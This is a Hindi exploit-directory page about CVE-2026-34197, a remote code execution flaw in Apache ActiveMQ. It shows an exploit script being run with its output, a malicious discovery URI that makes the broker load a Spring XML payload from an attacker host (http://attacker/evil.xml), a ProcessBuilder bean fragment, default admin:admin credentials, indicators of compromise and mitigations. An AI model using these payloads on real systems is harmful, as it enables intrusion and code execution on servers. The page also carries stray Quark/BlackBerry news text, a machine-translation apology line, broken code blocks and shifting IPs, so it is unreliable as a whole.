Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-34197 | Kitploit
उपकरण/GitHubGitHub/lat-06/cve-2026-34197
गतिशील विश्लेषण (सैंडबॉक्सिंग)भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHublat-06/cve-2026-34197

CVE-2026-34197

रिपॉजिटरी देखें
3 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-34197

विवरण
Apache ActiveMQ Broker, Apache ActiveMQ में अनुचित इनपुट सत्यापन, कोड के निर्माण का अनुचित नियंत्रण (‘कोड इंजेक्शन’) भेद्यता। Apache ActiveMQ Classic Jolokia JMX-HTTP ब्रिज को वेब कंसोल पर /api/jolokia/ पर उजागर करता है। डिफ़ॉल्ट Jolokia एक्सेस नीति सभी ActiveMQ MBeans (org.apache.activemq:*) पर exec संचालन की अनुमति देती है, जिसमें BrokerService.addNetworkConnector(String) और BrokerService.addConnector(String) शामिल हैं। एक प्रमाणित हमलावर इन संचालनों को एक तैयार discovery URI के साथ कॉल कर सकता है, जो VM ट्रांसपोर्ट के brokerConfig पैरामीटर को ResourceXmlApplicationContext का उपयोग करके एक दूरस्थ Spring XML एप्लिकेशन संदर्भ लोड करने के लिए ट्रिगर करता है। क्योंकि Spring का ResourceXmlApplicationContext BrokerService द्वारा कॉन्फ़िगरेशन को मान्य करने से पहले सभी सिंगलटन बीन्स को इंस्टेंशिएट करता है, Runtime.exec() जैसे बीन फैक्ट्री विधियों के माध्यम से ब्रोकर के JVM पर मनमाना कोड निष्पादन होता है। यह समस्या Apache ActiveMQ Broker: 5.19.4 से पहले, 6.0.0 से 6.2.3 से पहले; Apache ActiveMQ All: 5.19.4 से पहले, 6.0.0 से 6.2.3 से पहले; Apache ActiveMQ: 5.19.4 से पहले, 6.0.0 से 6.2.3 से पहले संस्करणों को प्रभावित करती है। उपयोगकर्ताओं को संस्करण 5.19.4 या 6.2.3 में अपग्रेड करने की अनुशंसा की जाती है, जो समस्या को ठीक करता है

अधिक जानकारी के लिए: लिंक

एक्सप्लॉइट चरण

संदर्भ

Github: लिंक```bash ❯ docker compose up -d

root@kitploit:~
**हम आपकी प्रतिक्रिया की सचमुच सराहना करते हैं।**

Quark परियोजना अब [BlackBerry Open-Source] के बड़े दायरे में है।

> **न्यूज़ फ़्लैश**
>
> Quark परियोजना को BlackBerry द्वारा आधिकारिक रूप से स्वीकार कर लिया गया है और अब हमारे पास पुराने की जगह पर एक नया होम पेज, https://quark.blackberry.tech/, है।
> सोर्स कोड को एक नए GitHub रिपॉजिटरी: https://github.com/blackberry/quark पर स्थानांतरित कर दिया गया है। हम पूरे समुदाय को हमारे साथ जुड़ने के लिए आमंत्रित करना चाहेंगे।```bash
❯ python3 exploit_poc.py auto \
    --target http://localhost:8161 \
    --lhost 192.168.1.32 --lport 9999 \
    --cmd "touch /tmp/blahblah.txt"

======================================================================
  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
  For authorized security testing and research only.
======================================================================

[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
  "request": {
    "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
    "arguments": [
      "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
    ],
    "type": "exec",
    "operation": "addNetworkConnector(java.lang.String)"
  },
  "value": "NC",
  "timestamp": 1775616523,
  "status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.

LHOST के रूप में कंप्यूटर का निजी IP होता है। आप Windows पर ipconfig या Linux पर ifconfig का उपयोग कर सकते हैं

RCE की जाँच```bash ❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K drwxrwxrwt 1 root root 4.0K May 18 04:01 . drwxr-xr-x 1 root root 4.0K May 18 03:40 .. -rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

root@kitploit:~
=> RCE सफल, लक्ष्य प्रणाली पर `blahblah.txt` फ़ाइल बनाई गई।

# विश्लेषण चरण
## गतिशील विश्लेषण```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
root@kitploit:~
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

रनटाइम लॉग्स ने भी पुष्टि की कि Jolokia सक्षम था और ActiveMQ वेब कंसोल के माध्यम से उजागर किया गया था:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

root@kitploit:~
कनेक्शन सत्यापित करें```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

इसका अर्थ है:

  • Jolokia सुलभ था
  • डिफ़ॉल्ट क्रेडेंशियल्स का उपयोग करके प्रमाणीकरण सफल रहा
  • लक्ष्य ActiveMQ 5.18.6 चला रहा था
  • Jolokia एजेंट ने प्रमाणित अनुरोधों को स्वीकार किया

लॉग पढ़ने के लिए```bash docker logs activemq-vuln > activemq-rce.log

root@kitploit:~
फिर स्वच्छ श्रृंखला के लिए grep करें```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

पेलोड भेजने के बाद```bash INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
यह पंक्ति महत्वपूर्ण है क्योंकि यह पुष्टि करती है कि हमलावर-नियंत्रित URI, जो इसके माध्यम से आपूर्ति की गई है:```java
BrokerView.addNetworkConnector(String)

बिना सैनिटाइज़ेशन के VM ट्रांसपोर्ट परत तक पहुँच गया।

शोषण के दौरान उपयोग किया गया दुर्भावनापूर्ण URI था:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

root@kitploit:~
इस URI में दो महत्वपूर्ण भाग हैं:

| घटक            | उद्देश्य                                        |
| --------------- | ------------------------------------------------- |
| `static:(...)`  | ActiveMQ डिस्कवरी कनेक्टर्स द्वारा उपयोग किया जाने वाला रैपर |
| `vm://evil?...` | ActiveMQ द्वारा आंतरिक रूप से प्रोसेस किया गया VM ट्रांसपोर्ट URI |

`static:(...)` रैपर स्वयं कमजोर घटक नहीं है। इसका उद्देश्य संलग्न ट्रांसपोर्ट URI को ActiveMQ के नेटवर्क कनेक्टर सबसिस्टम में पास करना है।

रनटाइम निष्पादन के दौरान, ActiveMQ ने आंतरिक VM ट्रांसपोर्ट URI को निकाला और प्रोसेस किया:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

यह व्यवहार रनटाइम लॉग्स में पुष्टि किया गया था:```text INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
`brokerConfig=` पैरामीटर पेलोड का महत्वपूर्ण हिस्सा है। इसने VM ट्रांसपोर्ट परत को निर्देश दिया कि वह निम्न से लोड किए गए बाहरी Spring xbean कॉन्फ़िगरेशन का उपयोग करके गतिशील रूप से एक broker इंस्टेंस बनाए:```text
http://192.168.1.32:9999/evil.xml

xbean: उपसर्ग के कारण ActiveMQ ने प्रोसेसिंग को Spring के XML एप्लिकेशन कॉन्टेक्स्ट लोडर को सौंप दिया:```text org.apache.xbean.spring.context.ResourceXmlApplicationContext

root@kitploit:~
परिणामस्वरूप, दूरस्थ XML दस्तावेज़ को पार्स किया गया और ब्रोकर JVM के अंदर एक Spring application context के रूप में इंस्टैंशिएट किया गया।

दुर्भावनापूर्ण XML में निम्नलिखित Spring bean शामिल था:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">

इस bean परिभाषा ने Spring को निर्देश दिया कि एप्लिकेशन कॉन्टेक्स्ट इनिशियलाइज़ेशन के दौरान एक ProcessBuilder ऑब्जेक्ट को इंस्टैंशिएट करे और तुरंत उसके start() मेथड को इनवोक करे।

एक्सप्लॉइट ने निम्नलिखित कमांड का उपयोग किया:```bash touch /tmp/blahblah.txt

root@kitploit:~
चूँकि Spring कॉन्टेक्स्ट इनिशियलाइज़ेशन के दौरान सिंगलटन बीन्स को तुरंत इंस्टैंशिएट करता है, `ProcessBuilder.start()` विधि ActiveMQ द्वारा ब्रोकर कॉन्फ़िगरेशन के सुरक्षित या मान्य होने की पुष्टि करने से पहले निष्पादित हो गई।

इसके परिणामस्वरूप लक्षित कंटेनर पर मनमाना कमांड निष्पादित हुआ।

एक्सप्लॉइट को ActiveMQ कंटेनर के अंदर `/tmp` डायरेक्टरी की जाँच करके सत्यापित किया गया:```bash
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

फ़ाइल मेटाडेटा ने सफल कमांड निष्पादन की और पुष्टि की:```bash ❯ docker exec activemq-vuln stat /tmp/blahblah.txt

File: /tmp/blahblah.txt Size: 0 Uid: (0/root) Gid: (0/root) Birth: 2026-05-18 04:01:35

root@kitploit:~
यह साबित करता है कि ActiveMQ कंटेनर संदर्भ के भीतर मनमाने ऑपरेटिंग सिस्टम कमांड सफलतापूर्वक निष्पादित किए गए थे।

रनटाइम स्टैक ट्रेस ने भी पूर्ण संवेदनशील निष्पादन पथ का खुलासा किया:```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution

रनटाइम विश्लेषण के दौरान निम्नलिखित स्टैक ट्रेस प्रविष्टियाँ देखी गईं:```text at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)

at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)

at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)

at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)

at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)

at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)

at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)

root@kitploit:~
गतिशील विश्लेषण के दौरान सबसे महत्वपूर्ण अवलोकनों में से एक वह क्रम था जिसमें Spring और ActiveMQ ने दुर्भावनापूर्ण कॉन्फ़िगरेशन को संसाधित किया। पेलोड सफलतापूर्वक निष्पादित होने के बाद, ActiveMQ ने बाद में निम्नलिखित चेतावनी उत्पन्न की:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml

यह व्यवहार दर्शाता है कि:```text Spring bean instantiation occurred before ActiveMQ validated the broker configuration.

root@kitploit:~
भले ही ब्रोकर कॉन्फ़िगरेशन को अंततः अस्वीकार कर दिया गया था, दुर्भावनापूर्ण Spring bean पहले ही त्वरित (instantiated) और निष्पादित (executed) हो चुका था।

यह क्रम समस्या CVE-2026-34197 के पीछे की मुख्य तर्क-संबंधी कमजोरी है।

डायनेमिक विश्लेषण ने एक्सप्लॉइट श्रृंखला में भाग लेने वाले निम्नलिखित घटकों की पहचान की:

| Component                     | Role                               |
| ----------------------------- | ---------------------------------- |
| Jolokia                       | HTTP-से-JMX ब्रिज                 |
| BrokerView                    | उजागर प्रबंधन MBean               |
| VMTransportFactory            | `vm://` ट्रांसपोर्ट URI पार्स करता है |
| BrokerFactory                 | ब्रोकर इंस्टेंस बनाता है           |
| XBeanBrokerFactory            | Spring xbean कॉन्फ़िगरेशन लोड करता है |
| ResourceXmlApplicationContext | रिमोट XML लोड करता है              |
| XmlBeanDefinitionReader       | Spring bean परिभाषाओं को पार्स करता है |
| Spring BeanFactory            | सिंगलटन बीन्स त्वरित करता है        |
| ProcessBuilder                | ऑपरेटिंग सिस्टम कमांड निष्पादित करता है |

डायनेमिक विश्लेषण पुष्टि करता है कि CVE-2026-34197 निम्नलिखित के बीच परस्पर क्रिया के कारण होता है:

* अत्यधिक अनुमेय Jolokia प्रबंधन संचालन
* हमलावर-नियंत्रित ट्रांसपोर्ट URI
* VM ट्रांसपोर्ट ब्रोकर स्वतः-निर्माण
* Spring xbean रिमोट कॉन्फ़िगरेशन लोडिंग
* सत्यापन से पहले eager सिंगलटन बीन त्वरितीकरण

परिणामस्वरूप, एक प्रमाणित हमलावर Jolokia-एक्सपोज़्ड `addNetworkConnector()` ऑपरेशन के माध्यम से एक दुर्भावनापूर्ण `brokerConfig=xbean:http://...` URI प्रदान करके ActiveMQ JVM पर मनमाना कोड निष्पादन प्राप्त कर सकता है।

### आर्किटेक्चर अवलोकन

Apache ActiveMQ Classic, Jolokia JMX-HTTP ब्रिज के माध्यम से एक प्रबंधन इंटरफ़ेस उजागर करता है, जो यहाँ उपलब्ध है:```text id="n0vmrq"
/api/jolokia/

Jolokia एक HTTP-to-JMX ब्रिज के रूप में कार्य करता है, जो प्रमाणित उपयोगकर्ताओं को HTTP के माध्यम से दूरस्थ रूप से Java Management Extensions (JMX) संचालन को निष्पादित करने की अनुमति देता है।

विश्लेषण के दौरान पहचाना गया भेद्य आर्किटेक्चर पथ नीचे दिखाया गया है:```text id="yavj0f" HTTP Request -> Jolokia Servlet -> JMX MBean Invocation -> BrokerView.addNetworkConnector() -> VMTransportFactory -> BrokerFactory -> XBeanBrokerFactory -> Spring ResourceXmlApplicationContext -> Spring Bean Instantiation -> OS Command Execution

root@kitploit:~
| घटक | कार्य |
| --------------------- | -------------------------------------------- |
| Jolokia | JMX ऑपरेशन को HTTP के माध्यम से उजागर करता है |
| BrokerView | प्रबंधन MBean इंटरफ़ेस |
| VMTransportFactory | `vm://` ट्रांसपोर्ट URI को संसाधित करता है |
| BrokerFactory | गतिशील रूप से ब्रोकर बनाता है |
| XBeanBrokerFactory | Spring xbean कॉन्फ़िगरेशन लोड करता है |
| Spring Context Loader | XML bean परिभाषाओं को पार्स और इंस्टैंशिएट करता है |
| ProcessBuilder | ऑपरेटिंग सिस्टम कमांड निष्पादित करता है |

आर्किटेक्चर तब संवेदनशील हो जाता है क्योंकि ActiveMQ प्रमाणित उपयोगकर्ताओं को हमलावर-नियंत्रित ट्रांसपोर्ट URI के साथ खतरनाक ब्रोकर प्रबंधन विधियों को आमंत्रित करने की अनुमति देता है।

---

### हमले की सतह का विश्लेषण

प्राथमिक हमले की सतह Jolokia HTTP एंडपॉइंट है जो ActiveMQ वेब कंसोल के माध्यम से उजागर होता है:```text id="xq7vba"
http://<target>:8161/api/jolokia/

रनटाइम विश्लेषण ने पुष्टि की कि Jolokia इंटरफ़ेस डिफ़ॉल्ट रूप से सक्षम था:```text id="y7qz5e" INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

root@kitploit:~
Jolokia एंडपॉइंट ने HTTP बेसिक ऑथेंटिकेशन का उपयोग करके प्रमाणित अनुरोधों को स्वीकार किया:```json id="13tzmx"
"authMode":"basic"

निम्नलिखित खतरनाक प्रबंधन ऑपरेशन उजागर किया गया था:```java id="pxqv10" BrokerView.addNetworkConnector(String)

root@kitploit:~
यह विधि उपयोगकर्ता-नियंत्रित परिवहन URI को स्वीकार करती है, बिना खतरनाक URI स्कीमों या कॉन्फ़िगरेशन पैरामीटरों को पर्याप्त रूप से प्रतिबंधित किए।

हमलावर ने निम्नलिखित पेलोड प्रदान किया:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

इस पेलोड ने एक साथ कई सुविधाओं का दुरुपयोग किया:

इसलिए हमले की सतह में निम्नलिखित शामिल हैं:

  • Jolokia HTTP API एक्सपोज़र
  • कमज़ोर रूप से प्रतिबंधित JMX प्रबंधन संचालन
  • गतिशील transport URI पार्सिंग
  • बाहरी ब्रोकर कॉन्फ़िगरेशन लोडिंग
  • Spring xbean एकीकरण

मूल कारण विश्लेषण

यह भेद्यता ActiveMQ के भीतर कई विश्वसनीय उप-प्रणालियों के बीच परस्पर क्रिया के कारण उत्पन्न होती है।

मुख्य मुद्दा यह है कि प्रमाणित Jolokia उपयोगकर्ताओं को हमलावर-नियंत्रित transport URI के साथ खतरनाक broker प्रबंधन संचालन आह्वान करने की अनुमति दी जाती है।

रनटाइम विश्लेषण के दौरान पहचाना गया भेद्य निष्पादन प्रवाह निम्न है:```text id="m57h1r" Jolokia -> BrokerView.addNetworkConnector() -> VMTransportFactory.doCompositeConnect() -> BrokerFactory.createBroker() -> XBeanBrokerFactory.createApplicationContext() -> ResourceXmlApplicationContext -> Spring bean instantiation

root@kitploit:~
महत्वपूर्ण पैरामीटर है:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml

यह पैरामीटर VM ट्रांसपोर्ट लेयर को निर्देश देता है कि वह बाहरी Spring xbean कॉन्फ़िगरेशन का उपयोग करके गतिशील रूप से एक ब्रोकर बनाए।

निम्नलिखित रनटाइम साक्ष्य ने इस व्यवहार की पुष्टि की:```text id="74y0rw" INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
Spring ने फिर रिमोट XML को निम्नलिखित के माध्यम से लोड किया:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext

दुर्भावनापूर्ण XML में निम्नलिखित शामिल था:```xml id="y6jphd"

root@kitploit:~
During Spring application context initialization, singleton beans are instantiated eagerly. As a result, the `ProcessBuilder.start()` method executed immediately.

The key logic flaw is that Spring bean instantiation occurred before ActiveMQ validated whether the broker configuration itself was safe or valid.

This behavior was proven dynamically because:

1. The malicious payload successfully created `/tmp/blahblah.txt`
2. ActiveMQ later rejected the broker configuration with:```text id="6k1dwn"
The configuration has no BrokerService instance

यह दर्शाता है कि ब्रोकर सत्यापन पूरा होने से पहले कोड निष्पादन हुआ।


समझौते के संकेतक (IOC) और पहचान

समझौते के संभावित संकेतकों में ActiveMQ प्रबंधन कार्यों को लक्षित करने वाले संदिग्ध Jolokia अनुरोध शामिल हैं।

संदिग्ध Jolokia ऑपरेशन

निम्नलिखित को आह्वान करने वाले अनुरोधों की तलाश करें:```text id="c56p2k" addNetworkConnector addConnector

root@kitploit:~
के माध्यम से:```text id="pt2n3d"
/api/jolokia/

संदिग्ध URI पैटर्न

निम्नलिखित URI खंड शोषण प्रयासों के मजबूत संकेतक हैं:```text id="n9jlwm" vm:// brokerConfig= xbean: static:(

root@kitploit:~
दुर्भावनापूर्ण पेलोड का उदाहरण:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)

आउटबाउंड HTTP कनेक्शन

ब्रोकर हमलावर-नियंत्रित इंफ्रास्ट्रक्चर के लिए आउटबाउंड अनुरोध शुरू कर सकता है:```text id="f5g9kx" http://attacker/evil.xml

root@kitploit:~
Unexpected outbound HTTP traffic from the broker JVM should be investigated.

#### संदिग्ध रनटाइम लॉग्स

निम्नलिखित रनटाइम संदेश संदिग्ध हैं:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil

...```text id="3q2vls" ResourceXmlApplicationContext

root@kitploit:~
I apologize, but I notice the input chunk appears to be empty. There is no text content provided to translate. Could you provide the actual chunk content? I'm ready to translate it to Hindi as soon as it's provided.```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions

फाइलसिस्टम आर्टिफैक्ट्स

अप्रत्याशित फ़ाइलें निम्न के अंतर्गत:```text id="6x7qcm" /tmp/

root@kitploit:~
या ActiveMQ JVM से संदिग्ध चाइल्ड प्रोसेस निष्पादन शोषण का संकेत दे सकता है।

---

### प्रभाव विश्लेषण

सफल शोषण ActiveMQ JVM संदर्भ के भीतर प्रमाणित रिमोट कोड निष्पादन की अनुमति देता है।

विश्लेषित वातावरण में, कंटेनर के अंदर मनमाने ऑपरेटिंग सिस्टम कमांड सफलतापूर्वक निष्पादित हुए:```bash id="2hyz0w"
touch /tmp/blahblah.txt

परिणाम:```text id="rm2qfd" /tmp/blahblah.txt

root@kitploit:~
फ़ाइल इस रूप में बनाई गई थी:```text id="9phgkz"
Uid: (0/root)

यह दर्शाता है कि कंटेनर के अंदर रूट विशेषाधिकारों के साथ कमांड निष्पादन हुआ।

संभावित प्रभाव में शामिल हैं:

गंभीरता काफी बढ़ जाती है यदि:

  • Jolokia बाहरी रूप से एक्सपोज़ किया गया है
  • डिफ़ॉल्ट क्रेडेंशियल सक्षम रहते हैं
  • कंटेनर रूट के रूप में चलते हैं
  • ब्रोकर होस्ट के पास अप्रतिबंधित आउटबाउंड पहुंच होती है

शमन

सुधारित संस्करणों में अपग्रेड करें

ActiveMQ Classic को अपग्रेड करें:```text id="8w0j6k" 5.19.4 or later 6.2.3 or later

root@kitploit:~
#### Jolokia एक्सेस प्रतिबंधित करें

यदि आवश्यक न हो तो Jolokia अक्षम करें।

यदि Jolokia को सक्षम रखना आवश्यक है:

* विश्वसनीय प्रशासनिक नेटवर्क तक पहुंच प्रतिबंधित करें
* मजबूत प्रमाणीकरण लागू करें
* खतरनाक exec ऑपरेशन अक्षम करें
* सख्त Jolokia एक्सेस नीतियां लागू करें

#### डिफ़ॉल्ट क्रेडेंशियल हटाएं

उपयोग न करें:```text id="9mw1xv"
admin:admin

बाहरी नेटवर्क एक्सेस प्रतिबंधित करें

ब्रोकर को मनमाना आउटबाउंड HTTP कनेक्शन शुरू करने से रोकें।

यह रिमोट XML पुनर्प्राप्ति प्रयासों को कम करता है।

खतरनाक सुविधाएँ अक्षम करें

निम्न को प्रतिबंधित या अक्षम करें:

  • डायनामिक ब्रोकर निर्माण
  • vm:// ट्रांसपोर्ट उपयोग
  • बाहरी xbean: कॉन्फ़िगरेशन लोडिंग

रनटाइम वातावरण को कठोर बनाएँ

  • कंटेनरों को गैर-रूट उपयोगकर्ताओं के रूप में चलाएँ
  • फाइलसिस्टम प्रतिबंध लागू करें
  • नेटवर्क विभाजन का उपयोग करें
  • JVM चाइल्ड प्रोसेस निष्पादन की निगरानी करें

डिटेक्शन अनुशंसाएँ

निम्न के लिए निगरानी करें:

  • /api/jolokia/ के लिए अनुरोध
  • addNetworkConnector का उपयोग
  • brokerConfig= पैरामीटर
  • xbean: URI
  • ब्रोकर JVM से आउटबाउंड HTTP अनुरोध
  • Java द्वारा उत्पन्न अप्रत्याशित चाइल्ड प्रोसेस

स्टैटिक विश्लेषण

स्रोत कोड अवलोकन

कमजोर पथ ActiveMQ वेब/JMX प्रबंधन परत, ब्रोकर नेटवर्किंग परत, VM ट्रांसपोर्ट, ब्रोकर फैक्ट्री सबसिस्टम, और Spring XBean कॉन्फ़िगरेशन लोडिंग को पार करता है।

Jolokia ActiveMQ वेब API एप्लिकेशन में सक्षम है:```xml

jolokia-agent org.jolokia.http.AgentServlet ... jolokia-agent /jolokia/* ``` ब्रोकर स्टार्टअप पर, ActiveMQ `BrokerView` को ब्रोकर प्रबंधन MBean के रूप में पंजीकृत करता है:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java protected void startManagementContext() throws Exception { getManagementContext().setBrokerName(brokerName); getManagementContext().start(); adminView = new BrokerView(this, null); ObjectName objectName = getBrokerObjectName(); AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName); } ``` ऑब्जेक्ट का नाम इस प्रकार बनाया गया है:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName) throws MalformedObjectNameException { String objectNameStr = jmxDomainName + ":type=Broker,brokerName="; 